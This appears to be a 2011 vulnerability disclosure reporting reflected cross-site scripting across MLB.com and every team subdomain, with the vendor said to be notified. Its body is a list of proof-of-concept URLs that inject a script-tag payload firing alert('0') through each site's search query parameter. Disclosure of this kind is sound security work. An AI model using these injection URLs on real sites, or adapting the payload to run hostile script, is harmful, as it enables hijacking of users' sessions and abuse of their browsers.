21
Feb 11MLB Network-Wide XSS
Date: Feb-21-2011
Vendor Notified: Yes
Proof of Concept:
American League:
http://baltimore.orioles.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=bal&x=13&y=3
http://boston.redsox.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=bos&x=12&y=7
http://newyork.yankees.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=nyy&x=16&y=8
http://tampabay.rays.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=tb&x=17&y=10
http://toronto.bluejays.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=tor&x=20&y=8
http://chicago.whitesox.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=cws&x=19&y=5
http://cleveland.indians.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=cle&x=13&y=5
http://detroit.tigers.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=det&x=7&y=5
http://kansascity.royals.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=kc&x=13&y=6
http://minnesota.twins.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=min&x=11&y=3
http://losangeles.angels.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=ana&x=14&y=4
http://oakland.athletics.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=oak&x=15&y=6
http://seattle.mariners.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=sea&x=19&y=9
http://texas.rangers.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=tex&x=14&y=10
National League:
http://atlanta.braves.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=atl&x=18&y=3
http://florida.marlins.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=fla&x=18&y=9
http://newyork.mets.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=nym&x=18&y=5
http://philadelphia.phillies.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=phi&x=21&y=8
http://washington.nationals.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=was&x=23&y=7
http://chicago.cubs.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=chc&x=20&y=7
http://cincinnati.reds.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=cin&x=7&y=6
http://houston.astros.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=hou&x=13&y=4
http://milwaukee.brewers.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=mil&x=25&y=10
http://pittsburgh.pirates.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=pit&x=15&y=4
http://stlouis.cardinals.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=stl&x=12&y=2
http://arizona.diamondbacks.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=ari&x=13&y=6
http://colorado.rockies.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=col&x=19&y=10
http://losangeles.dodgers.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=la&x=4&y=8
http://sandiego.padres.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=sd&x=15&y=8
http://sanfrancisco.giants.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&c_id=sf&x=12&y=4
MLB.com:
http://mlb.mlb.com/search/?query=%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%270%27%29%3B%3C%2Fscript%3E&x=12&y=7